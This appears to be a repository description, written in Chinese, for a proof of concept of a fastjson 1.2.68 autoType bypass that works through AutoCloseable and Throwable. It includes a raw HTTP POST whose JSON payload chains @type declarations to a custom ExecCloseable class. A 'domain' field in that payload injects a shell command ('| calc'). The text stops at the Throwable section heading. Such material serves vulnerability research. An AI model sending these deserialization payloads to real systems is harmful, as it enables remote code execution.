fastjson bypass autotype 1.2.68:fastjson使用Throwable和AutoCloseable绕过自动类型1.2.68 源码

fastjson-bypass-autotype-1.2.68 fastjson因为exceptClass期望类的特性导致可以通过AutoCloseable和Throwable绕过自动类型。 复现 运行org.chabug.fastjson.DemoApplication ,访问 自动关闭绕过 POST /parseObject HTTP/1.1 Host: test.local:8082 Connection: close Content-Type: application/json Content-Length: 131 { "@type":"java.lang.AutoCloseable", "@type": "org.chabug.fastjson.exploit.ExecCloseable", "domain": "y4er.com | calc" } 可投掷绕过